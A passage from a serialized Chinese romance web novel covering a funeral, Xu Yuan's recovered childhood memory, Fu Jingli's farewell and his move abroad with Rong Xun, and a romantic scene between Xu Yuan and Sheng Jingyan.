傅长海再如何担忧傅嘉誉,傅嘉誉还是醒了,醒来后还是不停在哭,直到看到了傅长海第一封遗书她才浑浑噩噩的有些从这场噩梦中走出来。 都已经是这个结局了,傅嘉誉也不想自己的父亲知道自己会因为他的事一直难过。 她知道父亲不想看到她难过流泪。 傅长海车祸去世的事已经传开,傅老爷子知道这件事时整个人好像瞬间老了十岁,他本以为傅长海还能有点时间,他还能再好好看看自己这儿子,却没想到意外发生的时候根本不会给他们更多时间。 他一共只有两个儿子,大儿子被二儿子设计车祸而亡,二儿子也是意外被人用车撞死,说到底有因就有果,最后还是这种死法。 停灵七天,傅老爷子整整七天都没怎么吃东西,在亲自为自己的儿子守灵。 真正葬礼当天,帝城上流圈层的人多少都来送了送,算是走的并不孤独。 傅长海的葬礼许愿也去了,到底是斗了很久的对手,也在最后一面和解,最后一程理应送他一段。 许愿的到来令在场参加葬礼的人都有些呆滞,似是没想到许愿会来,毕竟许愿跟傅家的恩怨多少都是知道的,许愿能来参加傅长海的葬礼,难不成是私下跟傅家人和解了?总不能是专程来葬礼上嘲讽傅家人的,许愿可做不出这种事。 众人议论纷纷,许愿却置若罔闻,一副并未察觉到那群人在议论自己的模样。 傅嘉誉眼睛是红肿的,看到许愿眼泪又一次控制不住流出来:“阿愿姐姐……我没想到你会来。” 许愿跟傅嘉誉曾经关系很好,但到底是因为傅家的原因,两人的关系也回不去了,只能安慰了句:“节哀。” 傅嘉誉看着她突然就很想哭,但真要哭却又哭不出来,两人之间也没有更多的交流,直到许愿离开傅嘉誉还望着她的背影像是有些缓不过神来。 傅长海的葬礼傅京礼当然会参加。 许愿远远便看到了傅京礼,她好像已经记不清上次傅京礼来见她是什么时候了,也可能是记得,但私心里觉得不是多重要的事情所以没有放到心上。 他看着像是瘦了很多,显得有些消瘦,许是知道了某些真相的缘故。 许愿也只是淡淡的扫了一眼便移开视线,傅京礼远远望着她,心里却有些酸涩难言,他很想走近许愿,然后跟她交流对话,可自己却也清楚自己其实没什么资格去见她。 说到底曾经背叛婚姻的是他出轨的是他,记错的人是他,伤害了许愿的也是他,他做了那么多的错事又凭什么会认为许愿能原谅这样的他,从而放弃跟盛景炎在一起选择他呢? 就算如果他是许愿,他也会选择盛景炎,而不是他。 许愿来这里只是送了一束花,送完花便要跟盛景炎相携离开。 傅京礼没有走近,他站在原地望着许愿远去的身影,好像多看一眼就能记她记得更清楚,好像那抹倩影就能更清晰的烙印在内心。 “为什么不追上去?你不想跟她说些什么?”容浔站在傅京礼身旁开口询问。 傅京礼顿住,他垂眸缓缓道:“只是突然想明白了很多事。” 容浔似是有些不理解,傅京礼开口:“我和许愿之间其实最重要的并不是许宁,说到底是我不够爱她,或者说那三年对她并不算爱。” 他曾经问自己,为什么许愿不能在自己面前完全做真正的她? 许愿在她面前跟在盛景炎面前是全然不同的,盛景炎面前的许愿优雅大方却又带着明显的依赖,她完全可以信任盛景炎,将后背交给盛景炎,因为在她心里盛景炎是绝对不会背叛她的,所以她才能肆无忌惮的在盛景炎面前做她自己。 而他呢? 他好像从没有真正的在意过许愿喜欢什么在意什么。 他们在一起不是在谈工作就是他为了发泄欲望将她完全当做工具一般使用,在他眼里许愿好像是没有灵魂的工具。 他眼里没有爱,所以许愿从不敢真的相信他,因为她会觉得迟早有一天会被他丢掉。 不敢对他敞开心扉,不敢做真正的自己。 她一杯傅京礼喜欢她优雅大方稳重镇定,她以为傅京礼不喜欢她那样撒娇的依赖,所以她藏起了自己的内心戴好了面具去面对傅京礼。 那时候知道他们婚姻的回夸奖许愿是傅家飘来那个完美的太太,不知道他们婚姻的会说许愿是傅京礼最得力的女秘书,他们为此还将许愿和容浔沈略放到一起并称铁三角,可见他们对许愿的看重和在意。 可又能怎么样呢? 她再优秀再完美,也不是真正的许愿。 她永远都是戴着面具的,他从没有真正认识过许愿。 他真正喜欢女强人吗?不,他喜欢的恰巧就是那样回撒娇的许愿,可因为他那样冷淡才会让许愿没有安全感,才会用另一面面对他,不敢暴露自己,只做他得体的傅太太。 三年时间,都没能让他真的看清自己的太太。 不知道自己的妻子喜欢红色,不知道自己的妻子讨厌什么,不知道妻子想要的是什么,她的生日他不曾记得,结婚纪念日也不被她放在心上,从来都是许愿一个人庆祝。 这样怎么能开口说对许愿是有爱的? 跟他分开后盛景炎几乎给了她想要的一切,他会陪许愿去抓娃娃,会记得许愿的生日,知道许愿喜欢仪式感会陪她过很多节日,会给她拍下漂亮的红宝石,会为她开创高定品牌只为她设计专门的礼服。 甚至于……盛景炎爱她胜过于她自己的生命。 钱给她命给她,他都爱到这一步了,他又凭什么继续跟盛景炎去比呢? 第797章 确定许愿永远都会选他 他自己都清楚自己是不配跟盛景炎相比的。 盛景炎最爱许愿的时候能够把股份和资产全部都留给许愿,傅京礼知道那时候的自己是绝对做不到这一步。 所以从那一刻他就已经彻底输了。 所以就算没有许宁或许他们最后的结局也是一样的,许宁只是加速了他们的婚变。 没有许宁他或许也会迟早厌倦这样的许愿,然后跟其他人在一起跟她离婚,好像他们注定会分开。 傅京礼还在遥遥望着许愿的身影:“是我配不上她。” 他现在是真的这样以为的。 比其他,盛景炎才是许愿的良配。 容浔沉默,其实这些傅京礼自己能想明白是最好的,起码往后不会继续因为许愿的事儿郁郁寡欢,总想着以后还有机会跟许愿在一起了。 “我配不上她,盛景炎对她足够好足够爱,我不够爱她倒不如成全她,不再插手她的生活,远远看着就足够了。” 天阴了下来,有凉风飘过,吹拂着他的衣摆,他就站在人群中,眉宇清冷脸上带着释然之色。 如果许愿这个时候转头可以看到此刻的傅京礼,就好像看到了曾经意气风发时期的傅京礼。 傅京礼没有追上来,傅老爷子却拦住了许愿。 在傅家傅老爷子曾经算得上是对许愿最好的人了,虽然也是为了他自己的利益,但不得不说老爷子曾给她太多便利,所以许愿现在对傅老爷子也是尊敬的。 傅老爷子看着此刻的许愿,他整个人因为傅长海的逝世整个人老了很多,可他好像不在乎一般还是望着许愿。 他至今还记得最初许愿被冤枉的时候是什么模样,明明被人冤枉设计了傅京礼却还是淡淡的,他看得出许愿的惊慌,却觉得这孩子不同寻常人,哪怕被逼到那一笔也还是那样镇定。 他那时就想着,这样的性子最适合自己的大孙子。 事实确实如此,他们之间的确是有缘分,许愿的心也确实在自己大孙子身上。 许愿呢?苏青莲的女儿,优秀漂亮也知情趣,莫说他,就是圈子里那些老东西也是想让许愿嫁给自家儿孙的。 老一辈的人都信娶妻娶贤,娶一个贤妻真的能富三代。 一个许愿确实也能顶三代。 可他觉得两人般配,谁能想到最终有缘无分惹出了那般的乱子。 大孙子不喜欢许愿,却被许愿那个不争气的妹妹迷了眼。 他当时就想傅京礼迟早要后悔,果然,才不过多久啊,傅京礼就已经后悔了。 但都已经做了那么多伤人的事情,现在后悔又有什么用呢?许愿早就已经选了盛景炎。 就算傅老爷子用最挑剔的眼光去看盛景炎,却也只能挑出盛景炎曾经那些风月花边新闻罢了,可但凡了解一些的人都清楚那些花边新闻是盛景炎自己为了麻痹盛家人故意笼络的红颜知己由着人拍下的亲密照。 除了这些黑点,盛景炎实在清白干净。 去掉那些所谓陪他演戏的红颜知己,盛景炎就没有接触过其它女性,说相貌谁不知道盛景炎的好相貌,身高身材更不用说,至于爱不爱许愿?遗嘱都立了,甚至现在就已经把股份和资产转给了许愿。 这些东西足以证明盛景炎的真心。 觉得承诺不够,那这些资产总是足够证明一切了。 傅老爷子看待盛景炎是用许愿娘家人的身份看的,即便他再挑刺也不得不说许愿这未婚夫选的确实是好。 其实不说盛景炎,就是曾经追求过许愿的宋观鱼和姜明烨,哪一个不是人中之龙,哪一个不够爱许愿,都比他大孙子合适啊。 想到这里傅老爷子连连叹息,最终还是错过了。 傅老爷子眼神颇为复杂,可最后还是开口:“等你们结婚的时候也邀我这老骨头喝杯喜酒吧。” 许愿尊敬他,自然应允。 “爷爷不仅能喝我的喜酒,也能喝傅嘉誉的喜酒,她跟傅守越不是也订婚了?”许愿说这话是为了安慰傅老爷子。 傅老爷子听了心里实在是有些发堵。 谁能想到当年胡明阮被人侮辱后就有了那人的血脉,傅嘉誉其实根本就不是傅家的后代,不过是傅长海台在意胡明阮所以一定要让傅嘉誉姓了傅家的姓然后养大的傅嘉誉。 真要算起来,傅嘉誉的身份才复杂。 现在真正的傅家血脉也就剩傅京礼了。 可傅京礼现在满心满眼都是许愿,虽然已经不再固执的想跟许愿在一起,却也无法接受其它人了。 傅老爷子也担心傅家就断在这一代。 他自然发愁,可这也是没有办法的事。 他已经这个年纪了,也管不了更多的事了,只能说儿孙自有儿孙福。 傅老爷子没再说什么只是看着许愿笑了笑,又寒暄了几句才离开。 见他离开许愿还不忘看着老爷子的身影,傅长海去世带给他的冲击太大了,老人家这些天老了太多,身形都愈发佝偻了。 “在想什么?”盛景炎握住她的手,握的紧了几分。 “在想世事无常,没想到会走到这一步。” 许愿晃了晃盛景炎的手,眉眼弯弯的带着笑。 “好了,也算是送过傅长海了,我们回去。” 有风吹过树梢,落叶随着淡淡的凉风打着旋儿落在许愿的发梢,盛景炎拂去她头顶的落叶,余光却瞥见熟悉的身影。 是傅京礼。 盛景炎眸光微微闪烁,他手上还捏着那枚树叶轻轻摩挲着,对上不远处的傅京礼也只是淡淡的。 他好像早已经不将傅京礼放在眼中了。 他确实是有这样的自信,自信在任何时候许愿都会义无反顾的选择他,而非傅京礼。 盛景炎揉了把许愿的头,轻笑一声:“傅总似乎有话要对我们说。” 许愿顿了下,转身便对上傅京礼的身影。 他身上那股浓浓的戾气好像都已经渐渐消散,此刻他就站在这里,眉宇间都是淡淡的温和的笑意,只一瞬好像让许愿透过此刻看到了曾经那个意气风发的傅京礼。 第798章 欠你很多句对不起 许愿有一瞬间的恍惚。 此刻猛地看到傅京礼,他站在阴凉的树下,此刻雨停了,好像是只下了一场小雨,阳光透过斑驳的层叠树荫中投射在他身上,她看着傅京礼,好像真的在此刻看到了曾经那个让她钟情多年的傅京礼。 许愿不知为何头突然有些疼痛,脑中好像在此刻闪过无数画面,陌生又熟悉的画面。 她带着陌生的少年在田野和树林奔跑,跑入树林时手腕处被树枝滑破流下刺目的血。 能听到周围呼啸的凉风,她就那样带着少年在树林奔跑,直到躲藏到漆黑的洞穴内。 那是冬日,太冷了,她能感受到自己的身体都快被冻僵了,只能跟少年抱在一起取暖。 那样漆黑的夜,她从少年怀中探出头就能对上对方那双漆黑深沉的眸光。 她听到自己眉眼弯弯的抱着少年说:“哥哥,我这样算不算英雄救美呀。” 她听到自己说:“哥哥,你长得真好看,等我长大后一定会找到你的。” “童话故事里面都是这样说的,小公主救了她的王子,结局一定会跟她的王子在一起的。”许愿脸上都是笑意,大大的眼睛都是最未来的期待,好像这一天真的只是一场冒险。 少年摘下手上一直佩戴的松石手链,他将手链戴在她的身上,明明是那样清冷的少年,面对她的时候却带着温润感。 他伸出手揉了揉许愿的发梢:“我会找到你。” 她到底还小,白天跑了太久缩在那样漆黑的洞穴睡过去,小小软软的身体缩在他怀中。 那样温暖的怀抱是她幼年时觉得最温暖的怀抱,她记了太久太久。 她想长大后一定要找到对方,他们小时候能在危难的时候遇到,代表他们是有缘分的对吧。 可最终一切都变了,她被催眠忘掉了那段记忆,手上的伤疤被手术去除,能证明她身份的手链也被夺去。 许宁顶替了她的身份,成为了傅京礼曾经一直在找的“白月光”。 许愿突然挺想笑的,她竟然在这种时刻想起了一切。 当初她说不在意的过去,还是对她产生了影响。 她遇到傅京礼的时候是最难过的时刻,母亲去世,父亲偏宠许宁,不然也不会在那天故意将她一个人丢在那里。 苏青莲离开后许镇江再没抱过她,少年在寒冷的深夜将她抱在怀里,互相汲取彼此身上的温度。 她记了那样久,怎么会不在乎那段记忆。 她突然就明白,当初的自己为什么在看到傅京礼后会有种似曾相识的错觉。 不。 不是似曾相识,而是久别重逢。 当初在学院看到傅京礼的一瞬,就是能够感觉到自己的心跳加速,好像在告诉自己那个人很重要,那样惊鸿一瞥,她记了那么多年,原来根本就不是初见。 他们的初见,可怜又狼狈。 他们的初见,是幼兽在寒冬缩在一处互相舔舐着彼此的伤口。 他们的初见,明明现象丛生,却就是能够有月光洒下来,在心里生下希望的种子。 就像幼年时候想的那样,他们多有缘分啊。 不然怎么那时候他们没有遇到其他人,偏偏遇到彼此,他们像是成为了彼此的救赎,他们在后面的十几年都在不停的找寻着彼此。 她找对了人,潜意识里她就是觉得自己好像在找人,所以她找到了傅京礼,她觉得那是爱,克制不住的爱。 傅京礼却找错了人,她将她看作是破坏他和许宁感情的第三者,纵然三年时间却仍在不停伤害她,最终彻底的斩断了他们之间最后的可能。 他们当然是有缘分的,不然也不可能都是帝城人却在那个小县城相遇,救了彼此。 但是,终归是有缘无分。 许愿沉默的站在原地,眸光仍然落在傅京礼身上未曾移开。 她盯着傅京礼看了太久,久到盛景炎脸上温和的笑意都有片刻的僵硬,他脸上的笑意并未略去,只是握紧了许愿的手,像是警告,又像是在吃醋,然后故意的低头在傅京礼面前在她耳边落下很轻的一吻。 “阿愿,还没有看够吗。” 他开口的声音带着点哑意,那双漂亮深情的桃花眼中藏着说不出的深意。 耳垂好像被轻咬了下,许愿回过神来,可一抬头就对上盛景炎似笑非笑的目光。 她也知道自己真的盯着傅京礼看了太久。 “想到了一点事,所以有些没缓过来。” 许愿开口解释了句,盛景炎只是笑着摩挲她的手,但动作带着骨子强势,十指紧扣的握住她的手,完全不肯放开了。 许愿也由着她,如果盛景炎盯着别的女人看这么久,她怕是也会闹,盛景炎这样算是足够体面了。 许愿的目光重新落到傅京礼的脸上:“不知道傅总想要说什么。” 傅京礼看着她,许愿亦是笑着回望。 他们之间明明是那样近的距离,可傅京礼就是能感受到他们之间好像被层层阻碍。 曾经她也是这样笑望自己的,那已经是很久远的过去了。 许愿说的那句“童话故事里面都是这样说的,小公主救了她的王子,结局一定会跟她的王子在一起的”,这话好像也变成了笑话。 他似是虔诚的凝望着曾经的爱人,他这辈子唯一的真正的且有缘无分的爱人。 她早已在盛景炎汹涌的爱意娇惯下像是一朵盛放的玫瑰,娇艳美丽。 “许愿。”傅京礼开口,他的声音很轻:“我好像欠你很多句对不起。” 许愿不知道他为什么突然提到这些,傅京礼还是看着她倏而笑了。 “我想,你大概也并不想听到我说对不起,你大概只是希望我不要打扰你的生活。” 傅京礼有些艰难的开口:“我以后,不会再追求你,不会再像从前那般……你这样挺好的。” 他似是有些语无伦次,缓了片刻,再次对上许愿那双清丽的双眼,然后在她的注视下开口:“许愿,以后没有了我,你要活的更好才可以。” 第799章 阿愿,我不高兴 许愿似是有些不明白傅京礼为什么突然说到这些。 她听到这些话的时候都觉得傅京礼有些陌生了。 “你好像一直都在劝我不要执着于过去,我总是沉溺过去,一次次的告诉我自己我们本该在一起,却好像忘了你已经找到了最后的最好的最适合你的归宿。” 傅京礼连着说了三个最。 他再不愿意却也不得不承认盛景炎确实将许愿养的很好。 不,这样说也不对。 应该是他们将彼此都养的很好。 “许愿,如果未来她欺负了你,希望你能想到我。” “当然我不希望会有那一天,前半生你受尽苦难,我希望你的后半生再无苦痛,永远幸福。” 傅京礼已经不再执着于跟许愿在一起。 他好像在这一刻看开了。 他突然记起自己曾经陪着许愿看过一部老电影,里面有一段关于什么是爱的解释。 一个人说“爱是霸占、摧毁还有破坏,为了要得到对方不择手段,不惜让对方伤心;必要的时候一拍两散、玉石俱焚。” 另一个人说“爱就是为心上人无条件地付出、牺牲,一心只想让她得到幸福、快乐。” 他那时候看这部电影觉得很可笑,他觉得真的会有人被逼到这一步吗? 不是不择手段的霸占就是无条件的付出,好像每一种都活成了笑话。 他那时是不信的,也真的只当笑话看了,他甚至觉得许愿幼稚。 可直到真的爱上了,他才发现自己对许愿从最初的不择手段到现在的付出放手,想要的只是希望她真的能够幸福,而不是继续围困在自己身边。 许愿的爱呢? 她的爱永远都是最纯粹的,没有算计,只有最纯粹的爱。 爱他时为他付出一切,为傅氏付出一切,爱盛景炎时也是将一整颗心都放到盛景炎身上。 许愿遇到他是不幸的,因为她从未真正的得到他的爱,可她遇到盛景炎她便得到了盛景炎的爱,他们互相爱着彼此,好像活成了这世界上最幸福的一对。 就连曾经偏执如他也已经彻底看开,打算放手。 “盛景炎,好好照顾许愿。”傅京礼还是开口了。 盛景炎眸光晦暗的看他一眼,似是察觉到傅京礼这次态度是认真的,微微颔首:“我当然会照顾好阿愿。” 不论傅京礼说不说这些他都会照顾好阿愿,这本就是他该做的。 傅京礼此刻目光重新落到许愿身上,他的笑意温和:“我们之间好像一直都缺一个正式的自我介绍。” 他是对许愿说的。 少年时期他们只顾着逃跑没有记下彼此的名字。 许愿念书时期他在台上,他在台下。 傅京礼被设计两人发生关系乃至到结婚他都没有对许愿有过正式的自我介绍。 许愿似是明白了他的意思。 曾经糊涂却错误的开始已经是过去,那么真正的最后的节点,就以他们的介绍而当做结局。 许愿伸出手眉眼弯弯的笑了笑:“许愿,盛世总裁。” 傅京礼能感受到自己的掌心在冒汗,他缓了片刻然后取出湿巾擦拭自己的掌心,方才伸出手握住许愿的。 “傅京礼,傅氏总裁。” 他们知道了彼此的姓名,补上了曾经的亏缺,从这一刻完全的划上了句号。 傅京礼和许愿,他们之间的孽缘也在此刻彻底斩断。 “许愿,再见。” 傅京礼开口,这次他主动转身,没有再让自己看着许愿携着盛景炎离开。 许愿顿了下望着对方的身影像是很轻的笑了下,彼此之间的一切,好像在此刻才算是真正的释然了。 她和傅京礼那段,她其实不过是想傅京礼真正看开然后说一句对不起,只是这样简单。 曾经那么多的恨,那么多的仇怨,都仿佛在此刻烟消云散。 就好像今天的天气,先前乌云密布飘落着雨丝,现在阳光倾洒,偶尔还能看到远处的一弯彩虹。 以往的那些风风雨雨也才算是真正的过去了。 “还在看?”盛景炎沉默了许久,似是感觉到许愿仍然看着傅京礼的身影,此刻开口。 “我不是在看他。”许愿解释了句,盛景炎扬了下眉,握紧她的手:“上车再说。” 许愿不疑有他。 才上车,盛景炎就已经凑过来为她系好安全带,许愿像是习惯了他这样体贴的照顾不觉得有什么不对。 直到车子一路飞速的开到公寓楼下,被男人强硬且迅速的带进房间,她还有些恍惚便已经被盛景炎完全的摁在他和墙壁之间,她还想开口说什么便被对方彻底吻住。 这不是个多温柔的吻,这样的吻炽热却又强硬,似是感受到她心不在焉,男人的大掌扣住她的后脑,逼迫她启唇。 唇齿交缠的暧昧水声,彼此肌肤紧贴带来的摩擦的热意,还有耳边独属于爱人的喘息。 许愿觉得自己此刻身体愈发热了。 “盛景炎……”辅一被放开,许愿便脸颊泛红的不停喘息,胸口都在起伏。 “你怎么突然发疯。”她说盛景炎发疯,却也没什么埋怨,只是有些无奈。 她此刻被亲的浑身无力,此刻只能靠着墙去看面前的爱人,见他那双漆黑漂亮的桃花眼就这样盯着自己看,她伸出手捧住盛景炎的脸看着他:“到底怎么了。” 盛景炎被他这样捧住脸,沉默了几秒,然后伸出手握住她的,似是方才热烈的亲吻过,嗓音中明显带着点哑意。 “我不高兴。” 他直白开口,然后下巴靠在许愿的肩侧。 “很不高兴。” 这样说话,像是撒娇一样。 许愿当然是聪明的,只是此刻像是真的没有反应过来盛景炎因为什么而不高兴。 她能感受到男人的唇落在自己耳畔,像是带着点小小的报复心理啃咬着自己的耳垂,不疼,却酥酥麻麻的,身体都有些软了。 “为什么不高兴。”她问。 听她主动开口,盛景炎却更不高兴了。 她竟然完全不知道自己为什么不高兴,竟然还在开口询问。 盛景炎忍不住又在咬她耳朵,这次力气都没收住。 第800章 阿愿,你哄哄我 “盛景炎!你属狗的吗!” 许愿被咬疼了,她不是多生气,就是觉得盛景炎多少是被自己惯坏了,可还没等许愿说什么,就听盛景炎很小声的在她耳边很轻很轻的“汪”了一声。 真的像是一只可怜委屈的小狗。 许愿:“……” 她就说盛景炎真的很绿茶的,而且是真的很会。 毕竟当初在女人堆里待了那么久,虽然没有真的谈恋爱,但接触那么多女性怎么可能真的什么都不懂。 他真的!超级会哄人的! 许愿心里那一点点火气立刻就被熄灭了。 “所以到底为什么生气?” 她可不是那种因为一点点误会要闹很久矛盾那种,不开心就要说啊,有问题就要解决问题嘛。 盛景炎直接将人整个人抱在怀里,许愿惊呼了一声,下一秒就被丢到床上,被男人整个覆在身上她也没拦着。 盛景炎单手解开皮带,许愿就躺在床上看着他,他这个动作实在是有点……有多过于蛊惑人,许愿没有移开眼,察觉到她偷偷瞥过来的目光,盛景炎心里那点委屈的感觉都小了。 “你今天一直在看傅京礼。” 重新压制住自己的爱人,盛景炎的吻落在她耳边,声音低哑。 他是真的很在意这一点。 没办法不在意的,傅京礼是许愿曾经结过婚的丈夫,即便现在已经离婚分手,但傅京礼才是许愿真正意义上的初恋,真正意义上曾经最爱的人,他会嫉妒会在乎,会因为她多看傅京礼一眼就想把人带回家然后关起来让她只能看着自己。 他真的很爱很爱许愿,所以他见不得许愿看傅京礼的眼神。 “我一直在看傅京礼?”许愿听了这话是真觉得自己冤枉,她什么时候一直看傅京礼了,她那是想到了以前的事。 许愿感觉到盛景炎又咬了自己一口,不疼,但是麻麻的。 她有些无奈:“我没有一直看他,我当时只是想到了以前的事。” “什么事。”盛景炎盯着她看,似乎是真的很在乎这件事。 “傅京礼曾经见我的时候说他将许宁错认成了我这件事你还记得吗。” 许愿开口,盛景炎点头,他自然记得。 “刚才就是记起了那段记忆。”许愿看着盛景炎那双漂亮的桃花眼,然后凑上去亲了亲,只是等她移开时却发现盛景炎的眸光变得愈发幽暗了。 他脸上带着不太明显的笑意,整个人气压都有些低的盯着她。 “所以想起的还是傅京礼?” “想起你们的初见?是不是还想到了后面跟他后面的很多事,所以恍惚?” “阿愿,我有点生气。” 他凝视着她,不,或者说是逼视着他。 他平日里在许愿面前早就遮掩住了自己的凶性,伪装成无害的小猫小狗一般,可内里就是一头凶兽。 “阿愿,你哄哄我。” 他这样开口了,许愿还没开口,就已经再次被盛景炎堵住唇舌强硬的吻上来,身体被他突然的动作有些僵住,恍恍惚惚之际听到耳边传来盛景炎有点可怜的叹息声:“算了,我来教阿愿哄哄我。” 不等许愿说话,又一次吻住她。 整个人完全被他压在身下掠夺。 她眼睛是红的,喉间不由得溢出轻哼,中途承受不住的在他肩上咬了一口,却只听到男人低笑一声:“标记吗?我喜欢。” 变态。 许愿被他逼得又咬了他一口。 不知被他欺负了多久,许是到了深夜,她嗓音明显的带着哑意,缩在盛景炎的怀里喃喃开口。 “童话故事里面都是这样说的,小公主救了她的王子,结局一定会跟她的王子在一起的。” 她说了这句话,这句她曾经对傅京礼说的话。 她握紧盛景炎的手,然后开口:“可这次,我选了骑士。” 她选了骑士,她选了盛景炎。 盛景炎望着已经被她欺负的没有力气的爱人,因为这句话心口一片火热,那样汹涌的爱意好像快要漫出来。 他还要再凑上去亲一亲许愿,下一秒就被累到极致的许愿朝他脸上砸了枕头。 不疼,玩乐似的。 “你去书房睡!” 许愿眼睛都没睁开就开始赶人,明明前一秒还在说情话,下一秒就要把她的骑士赶走。 可见她的骑士之前有多闹人。 盛景炎多厚脸皮的人,完全当自己什么都没听到,此刻将人整个搂抱进自己怀中,唇落在她耳边亲吻。 他没听到,他不滚,他就要赖在这里。 …… 傅氏集团。 高层会议室。 傅长海葬礼后傅京礼邀来了傅氏的董氏召开了董事会,董氏们都以为会因为后续傅氏集团的发展而召开会议,但真正进了会议室在场的人都没有得到丁点消息,谁也不知道傅京礼为什么召开会议。 就连容浔也不知道具体情况。 直到会议开始,傅京礼才提到自己即将离开帝城去M国管理海外公司并开创海外市场,帝城的傅氏主公司以后交给容浔管理。 这言论一出,董事们一片哗然,就是脸上一直带着淡淡笑意的容浔表情都僵了一瞬。 他完全不知道傅京礼为什么会提到这些,如果他早知道傅京礼的打算,那一定会在董事会前让他打消这想法。 “傅总,为什么突然要去开拓海外市场?” “现在傅氏没了许愿没了沈略,你在离开……傅氏以后要何去何从?” 别看以往发生那么多事,但好在是有傅京礼镇着的,现在傅京礼都走了,只一个容浔……他们承认容浔确实是有能力的,但管理傅氏只一个容浔真的足够吗? 再加上容浔根本就不算是傅家的人,哪怕真的是被傅家养大的,跟傅京礼一起长大,可他到底不姓傅! 董事们如何劝傅京礼也没有退让一步,直到董事会结束,众人满面愁容的离开。 会议室内只剩容浔和傅京礼两人。 “阿浔,你也要问我原因吗,我以为你应该懂。”傅京礼偏头目光落在他身上。 他看开了一切,已经明白自己跟许愿完全不可能了,但他还是会担心自己如果继续留在帝城会控制不住的去接近许愿去靠近许愿。 所以他只能选择离开。 只要离许愿远一些……他就不会靠近许愿,不会去打扰许愿。 第801章 他永远不会背叛傅京礼 容浔看着他,良久后才开口:“我懂你的意思,但我以为你也会懂我。” “如果帝城的傅氏没有你,我留下来又有什么意义?” 容浔看着他语气认真且郑重:“带我一起去M国吧。” 容浔的能力毋容置疑,在傅氏和盛世彻底成为敌对公司后傅京礼因为许愿的事没怎么管理傅氏,都是容浔从中周旋才稳固了傅氏的地位,如果容浔想走,或者想自己创业他是绝对有能力的。 只因为容浔算是被傅家收养接济长大的,在他看来他跟傅京礼跟亲兄弟无异,这世界上任何人都可能背叛傅京礼但他绝对不会背叛傅京礼。 所以他没有办法抛下傅京礼,他本就对强权利益不像那些人一般疯狂的追求。 在他心里确实是绝对的利傅京礼主义者。 他也明白,傅京礼已经彻底放弃许愿了,傅长海曾经做的事傅京礼也已经知道了,傅老爷子为傅长海遮掩这么多年,傅嘉誉又是傅长海的女儿,这个傅家对傅京礼来说也是脏乱不堪。 潜意识里他该去恨傅嘉誉,可偏偏傅嘉誉是整件事情中最无辜的人,她什么都不知道就要被他扣上仇人的帽子那就太过可笑了。 到底是他疼了这么多年的妹妹,他是没办法去恨傅嘉誉的。 他唯一能做的大概就是远离帝城远离曾经的一切。 傅京礼这样做的原因容浔当然能懂。 他曾经最信任的大伯背叛了他,亲自抚养他长大的老爷子也因为傅长海是他的亲子而瞒下了真相,只有他像是蠢货一样被所有人耍弄在股掌之间,维护着杀父仇人,为傅家所累。 他确实做好了选择打算离开开始属于自己的新生活。 如果他不跟着一起离开,那傅京礼就会成为真正的孤家寡人,那不是他想看到的结局。 “从小到大不都是你去哪里我去哪里?你一个人离开把我留在帝城我觉不能接受。” 容浔直白开口拒绝了傅京礼为他安排好的后路。 傅京礼就是足够信任他才会将傅氏交给他管理,若是旁人知道这消息自然兴奋激动。 可容浔不愿。 “带我一起走,我们一起去海外。”容浔眉眼精致,那双温润的眼眸带着笑意,他好像真的只有面对傅京礼的时候眼底的笑意才不掺杂半分冷意,是真的只有温和。 “我们一起去海外,你想开拓属于傅氏的海外市场我们就去开拓市场,你想脱离傅氏重新创业那我们就重新创业,你知道的,我才是那个永远都不会背叛你的人。” 傅京礼顿了下,目光重新落到容浔脸上,容浔脸上的笑意完全没有收敛,注意到他看过来的眼神眸光愈发深了几分。 傅京礼突然想到自己幼年时期被绑架的时候容浔也遭遇过绑架,只不过他们被绑到了不同的地区。 他被许愿救了才能很快回到傅家,那当时的容浔是怎么逃回来的? 容浔本就是他捡回家濒死的少年,傅老爷子留下他却并没有真的将他看做傅家人,容浔出事后也是傅京礼找关系去寻他,那是一个月后,容浔几乎是浑身是血的回到了傅家,那样冷的寒冬,他穿的破破烂烂的,身上都是伤痕,手上脚上乃至膝盖上面全都是冻疮。 自那件事以后每逢冬日容浔稍不注意就会生冻疮,他是很怕冷的,只要冬日必然会裹得严严实实,到底还是落下了病根。 他受过的苦容浔也一样受过,傅家唯一给他的大概就是足够好的教育,但容浔却是用他这往后余生去回报了。 他幼年时候没了父母,他以为大伯在乎他,爷爷最爱他,可最后绝对不会背叛他永远在意他的却是那个被他捡回家的容浔。 到这一步,最后陪在身边的还是容浔。 比孤家寡人要好太多了,不是吗。 傅京礼看着他,许久后才开口:“我只是觉得会委屈了你。” 容浔没回这句话问道:“哪天走,我提前订好机票,至于傅氏就留给傅守越吧。” 傅京礼当然明白容浔这是什么意思。 跟他一起从头开始也不会觉得委屈。 “好,那就留给傅守越。” 收到傅京礼和容浔消息知晓他们是什么意思后傅守越没有拒绝成为傅氏的总裁。 这是傅长海一直想要的,他争了那么多年抢了那么多年,他那么在意的东西最后傅京礼却如此简单的拱手相送,说来也的确可笑。 当一个人很贫穷的时候他只会最在意钱和权,可当一个人有钱有权就会追求更高尚的东西,或许会摒弃钱和权,就像现在的傅京礼。 因为这一切他都曾得到过,所以才能这样淡然的转到傅守越手中。 傅长海的死好像缓和了盛世和傅氏的关系,有眼尖的网友发现盛世和傅氏再次有了合作。 傅氏在这种时候发了公文,傅京礼辞去傅氏总裁职务,同时高层容浔随傅氏前傅总一同离开帝城去开拓海外新市场。 这消息一经发出惹得上流圈层喧哗震惊。 其实傅家的傅老爷子早就已经将手中的股份全都转给了傅京礼,现在傅京礼才是傅氏控股最多的大股东,说是总裁也是董事长,现在辞去总裁职位并不会对他的地位造成多大的损失。 但重要的点在于傅京礼就这么简单的将傅氏交给了傅守越。 傅守越的身份普通人不知道,上流圈层却是最清楚的。 傅守越算是傅家人吗?就是傅嘉誉捡回傅家的,不过是傅长海好心给了他傅家人的姓,他身上就没有流傅家人的血,硬要说的话,只能说他是傅嘉誉的未婚夫所以才算是真正算作傅家人。 傅京礼不将傅氏交给傅嘉誉却偏把公司交给傅守越? 因为这阴谋论都出来了,甚至还牵扯上了许愿。 理由很简单,傅京礼决定离开傅氏离开帝城后盛世就跟傅氏和解再度合作,有人不得不猜测是不是许愿跟傅守越联手故意要赶走傅京礼篡位的? 别说,信了这猜测的人还特别多,几乎都觉得是许愿的阴谋,为的就是吞并傅氏向傅京礼报仇! 第802章 不必在网络骗吃骗喝 